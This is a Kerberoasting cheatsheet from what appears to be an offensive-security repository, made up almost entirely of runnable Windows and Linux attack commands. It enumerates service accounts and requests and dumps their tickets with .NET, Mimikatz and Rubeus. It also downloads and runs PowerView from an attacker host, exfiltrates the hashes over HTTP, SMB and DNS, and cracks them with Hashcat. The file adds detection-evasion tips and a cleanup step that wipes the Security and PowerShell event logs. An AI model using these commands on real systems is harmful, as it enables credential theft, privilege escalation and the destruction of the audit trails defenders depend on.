daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

kerberoasting-local-on-host.md (10125B)


      1 ---
      2 title: "Kerberoasting — Local On-Host"
      3 description: "[1] Enumerate SPNs → [2] Request TGS Ticket → [3] Extract Hash → [4] Crack Offline"
      4 category: active-directory
      5 subcategory: "Kerberos & Delegation"
      6 tags: ["active-directory", "kerberos", "sql-injection", "hashing"]
      7 tools: ["Impacket", "Mimikatz", "Rubeus", "Hashcat", "John"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/Kerberos/Kerberoasting — Local On-Host Cheatsheet.md"
     11 ---
     12 # 🎟️ Kerberoasting — Local / On-Host Cheatsheet
     13 
     14 > Focused on techniques executable **directly on a domain-joined Windows machine** using native tools, .NET, and in-memory methods (LOTL).
     15 
     16 ---
     17 
     18 ## ⚡ Quick Reference — Attack Flow
     19 
     20 ```
     21 [1] Enumerate SPNs  →  [2] Request TGS Ticket  →  [3] Extract Hash  →  [4] Crack Offline
     22 ```
     23 
     24 ---
     25 
     26 ## 🔎 Phase 1 — SPN Enumeration (No Tools Required)
     27 
     28 ### Built-in `setspn.exe`
     29 ```cmd
     30 :: All SPNs in the domain
     31 setspn -T DOMAIN.LOCAL -Q */*
     32 
     33 :: All SPNs on a specific host
     34 setspn -L hostname
     35 
     36 :: Find SQL SPNs specifically
     37 setspn -T DOMAIN.LOCAL -Q MSSQLSvc/*
     38 
     39 :: Find HTTP SPNs
     40 setspn -T DOMAIN.LOCAL -Q HTTP/*
     41 ```
     42 
     43 ### Native PowerShell + .NET (No Imports)
     44 ```powershell
     45 # Enumerate all user accounts with SPNs via ADSI
     46 $search = New-Object DirectoryServices.DirectorySearcher
     47 $search.Filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
     48 $search.PropertiesToLoad.AddRange(@("samaccountname","serviceprincipalname","pwdlastset"))
     49 $results = $search.FindAll()
     50 $results | ForEach-Object {
     51     Write-Host "User: $($_.Properties['samaccountname'])"
     52     Write-Host "SPN:  $($_.Properties['serviceprincipalname'])"
     53     Write-Host "PwdLastSet: $($_.Properties['pwdlastset'])"
     54     Write-Host "---"
     55 }
     56 ```
     57 
     58 ### Active Directory PowerShell Module (if available)
     59 ```powershell
     60 # Import module (requires RSAT or AD module)
     61 Import-Module ActiveDirectory
     62 
     63 # Get kerberoastable users
     64 Get-ADUser -Filter {ServicePrincipalName -ne "$null"} `
     65     -Properties ServicePrincipalName, PasswordLastSet, MemberOf |
     66     Select-Object Name, SamAccountName, ServicePrincipalName, PasswordLastSet |
     67     Sort-Object PasswordLastSet
     68 
     69 # Find accounts with old passwords (easiest to crack)
     70 Get-ADUser -Filter {ServicePrincipalName -ne "$null"} `
     71     -Properties ServicePrincipalName, PasswordLastSet |
     72     Where-Object { $_.PasswordLastSet -lt (Get-Date).AddYears(-1) } |
     73     Select-Object SamAccountName, PasswordLastSet, ServicePrincipalName
     74 ```
     75 
     76 ### PowerView (PowerSploit)
     77 ```powershell
     78 # Load into memory (no disk drop)
     79 iex (New-Object Net.WebClient).DownloadString('http://<attacker>/PowerView.ps1')
     80 
     81 # Get all SPN users
     82 Get-DomainUser -SPN | Select SamAccountName, ServicePrincipalName, PasswordLastSet
     83 
     84 # Get specific SPN types
     85 Get-DomainUser -SPN | Where-Object { $_.ServicePrincipalName -like "*SQL*" }
     86 
     87 # Get kerberoastable users with admin rights (high value)
     88 Get-DomainUser -SPN | Get-DomainGroup -MemberIdentity | Where-Object { $_.Name -like "*Admin*" }
     89 ```
     90 
     91 ---
     92 
     93 ## 🎯 Phase 2 — Ticket Request & Extraction
     94 
     95 ### Method 1 — Pure .NET (No Tools, In-Memory)
     96 ```powershell
     97 # Request a single TGS ticket for a known SPN
     98 Add-Type -AssemblyName System.IdentityModel
     99 New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken `
    100     -ArgumentList "MSSQLSvc/sqlserver.domain.local:1433"
    101 
    102 # Verify ticket is now in cache
    103 klist
    104 ```
    105 
    106 ### Method 2 — Request All SPN Tickets via .NET Loop
    107 ```powershell
    108 # Enumerate SPNs and request all tickets in one loop
    109 Add-Type -AssemblyName System.IdentityModel
    110 
    111 $search = New-Object DirectoryServices.DirectorySearcher
    112 $search.Filter = "(&(objectClass=user)(servicePrincipalName=*)(!samaccountname=krbtgt))"
    113 $search.PropertiesToLoad.Add("serviceprincipalname") | Out-Null
    114 $search.FindAll() | ForEach-Object {
    115     $spn = $_.Properties['serviceprincipalname'][0]
    116     Write-Host "[*] Requesting ticket for: $spn"
    117     try {
    118         New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn
    119     } catch { Write-Host "[-] Failed: $_" }
    120 }
    121 
    122 # Export all tickets from memory with Mimikatz after
    123 ```
    124 
    125 ### Method 3 — Mimikatz (Export Tickets from Memory)
    126 ```powershell
    127 # After tickets are loaded into memory via .NET above
    128 
    129 # From Mimikatz console:
    130 kerberos::list /export          # Export all tickets to .kirbi files
    131 
    132 # Or directly dump hash from ticket
    133 kerberos::ask /target:MSSQLSvc/sqlserver.domain.local:1433
    134 ```
    135 
    136 ### Method 4 — Rubeus (C# — Drop or Load In-Memory)
    137 ```powershell
    138 # Dump all kerberoastable hashes (hashcat format)
    139 .\Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat /nowrap
    140 
    141 # Recon only — no ticket requests made
    142 .\Rubeus.exe kerberoast /stats
    143 
    144 # Target a single user
    145 .\Rubeus.exe kerberoast /user:svc_mssql /format:hashcat /nowrap
    146 
    147 # Force RC4 downgrade (faster to crack)
    148 .\Rubeus.exe kerberoast /tgtdeleg /format:hashcat /nowrap
    149 
    150 # Filter by stale passwords (high-value targets)
    151 .\Rubeus.exe kerberoast /pwdsetbefore:01-01-2022 /format:hashcat /nowrap
    152 
    153 # Roast a specific OU
    154 .\Rubeus.exe kerberoast /ou:"OU=ServiceAccounts,DC=domain,DC=local" /format:hashcat
    155 
    156 # Use an existing TGT (avoid touching your own credentials)
    157 .\Rubeus.exe kerberoast /ticket:doIFuj[...]lDT0k= /format:hashcat /nowrap
    158 ```
    159 
    160 ### Method 5 — Invoke-Kerberoast (PowerShell, No Binary Drop)
    161 ```powershell
    162 # Load PowerSploit PowerView
    163 iex (New-Object Net.WebClient).DownloadString('http://<attacker>/PowerView.ps1')
    164 
    165 # Get all hashes in Hashcat format
    166 Invoke-Kerberoast -OutputFormat Hashcat |
    167     Select-Object -ExpandProperty Hash |
    168     Out-File -FilePath C:\Users\Public\hashes.txt -Encoding ASCII
    169 
    170 # John format
    171 Invoke-Kerberoast -OutputFormat John | Select-Object Hash | fl
    172 
    173 # Target specific domain
    174 Invoke-Kerberoast -Domain dev.corp.local -OutputFormat Hashcat | fl
    175 
    176 # With alternate credentials
    177 $pass = ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force
    178 $cred = New-Object Management.Automation.PSCredential('DOMAIN\user', $pass)
    179 Invoke-Kerberoast -Credential $cred -OutputFormat Hashcat | fl
    180 ```
    181 
    182 ### Method 6 — LOTL via `klist` + `certutil` Exfil
    183 ```cmd
    184 :: View tickets currently cached
    185 klist
    186 
    187 :: Purge all tickets (cleanup)
    188 klist purge
    189 
    190 :: Inspect a specific ticket
    191 klist tickets -v
    192 ```
    193 
    194 ---
    195 
    196 ## 📦 Phase 3 — Exfiltrate Hashes
    197 
    198 ```powershell
    199 # Base64 encode and print (easy copy-paste exfil)
    200 $hash = Get-Content C:\Users\Public\hashes.txt
    201 [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes($hash))
    202 
    203 # Exfil via HTTP to attacker machine
    204 $hash = Get-Content C:\Users\Public\hashes.txt -Raw
    205 Invoke-WebRequest -Uri "http://<attacker>:8080/?h=$hash" -Method GET
    206 
    207 # Exfil via SMB (if share available)
    208 Copy-Item C:\Users\Public\hashes.txt \\<attacker>\share\hashes.txt
    209 
    210 # DNS exfil (one chunk at a time)
    211 $hash = (Get-Content C:\Users\Public\hashes.txt)[0]
    212 Resolve-DnsName "$hash.<attacker-domain>"
    213 ```
    214 
    215 ---
    216 
    217 ## 🔨 Phase 4 — Crack Locally (Attacker Machine)
    218 
    219 ### Hashcat Quick Reference
    220 ```bash
    221 # RC4 / Type 23 — most common, fastest
    222 hashcat -m 13100 hashes.txt rockyou.txt
    223 
    224 # AES-128 / Type 17
    225 hashcat -m 19600 hashes.txt rockyou.txt
    226 
    227 # AES-256 / Type 18
    228 hashcat -m 19700 hashes.txt rockyou.txt
    229 
    230 # With rules (best64 = good balance)
    231 hashcat -m 13100 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
    232 
    233 # Combinator attack (wordlist + wordlist)
    234 hashcat -m 13100 -a 1 hashes.txt words1.txt words2.txt
    235 
    236 # Mask attack — 8 chars, Capital+lower+2digits
    237 hashcat -m 13100 -a 3 hashes.txt ?u?l?l?l?l?l?d?d
    238 
    239 # Resume a cracking session
    240 hashcat -m 13100 hashes.txt rockyou.txt --restore
    241 
    242 # Show cracked passwords
    243 hashcat -m 13100 hashes.txt --show
    244 ```
    245 
    246 ### John the Ripper
    247 ```bash
    248 john --format=krb5tgs --wordlist=rockyou.txt hashes.txt
    249 john --format=krb5tgs hashes.txt --show
    250 ```
    251 
    252 ---
    253 
    254 ## 🥷 Staying Stealthy — OPSEC on Host
    255 
    256 | Action | Stealthy Option | Why |
    257 |---|---|---|
    258 | Enumeration | ADSI .NET query or `setspn` | Looks like admin activity |
    259 | Ticket request | Single target `/user:` | Less noise than bulk roasting |
    260 | Avoid RC4 force | Request AES tickets | `0x17` etype in Event 4769 is a red flag |
    261 | No binary drop | PowerShell in-memory | Reduces forensic artefacts |
    262 | Use `/stats` first | Rubeus recon only | Zero KDC requests |
    263 | Timestamp awareness | Off-hours blending | Match normal baseline traffic |
    264 | Cleanup | `klist purge` post-attack | Removes ticket artefacts from memory |
    265 
    266 ---
    267 
    268 ## 🧹 Post-Exploitation Cleanup
    269 
    270 ```powershell
    271 # Remove exported ticket files
    272 Remove-Item C:\Users\Public\hashes.txt -Force
    273 Remove-Item *.kirbi -Force
    274 
    275 # Purge Kerberos ticket cache
    276 klist purge
    277 
    278 # Clear PowerShell history
    279 Clear-History
    280 Remove-Item (Get-PSReadLineOption).HistorySavePath -Force
    281 
    282 # Clear Windows event logs (if admin)
    283 wevtutil cl Security
    284 wevtutil cl System
    285 wevtutil cl "Microsoft-Windows-PowerShell/Operational"
    286 ```
    287 
    288 ---
    289 
    290 ## 🗺️ High-Value SPN Targets
    291 
    292 | SPN Prefix | Service | Why Valuable |
    293 |---|---|---|
    294 | `MSSQLSvc/*` | SQL Server | Often runs as domain user with high privileges |
    295 | `HTTP/*` | IIS / Web | May have access to web app databases |
    296 | `TERMSRV/*` | RDP service | Lateral movement to servers |
    297 | `exchangeMDB/*` | Exchange | Access to mail data |
    298 | `WSMAN/*` | WinRM | Remote management |
    299 | `SPN on Domain Admin` | Any | Instant privilege escalation if cracked |
    300 
    301 ---
    302 
    303 ## 📋 One-Liner Cheatsheet
    304 
    305 ```powershell
    306 # Full LOTL pipeline — enumerate + request + dump (no tools)
    307 Add-Type -AssemblyName System.IdentityModel; `
    308 (New-Object DirectoryServices.DirectorySearcher([ADSI]"", `
    309 "(&(objectClass=user)(servicePrincipalName=*)(!samaccountname=krbtgt))", `
    310 @("samaccountname","serviceprincipalname"))).FindAll() | % { `
    311     $_.Properties['serviceprincipalname'] | % { `
    312         try { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_ } catch {} } }; klist
    313 ```
    314 
    315 ```powershell
    316 # Invoke-Kerberoast one-liner (needs PowerView loaded)
    317 Invoke-Kerberoast -OutputFormat Hashcat | % { $_.Hash } | Out-File hashes.txt -Encoding ASCII
    318 ```
    319 
    320 ```bash
    321 # Remote one-liner (Impacket)
    322 GetUserSPNs.py DOMAIN/user:pass -dc-ip <DC_IP> -request -outputfile hashes.txt && hashcat -m 13100 hashes.txt rockyou.txt
    323 ```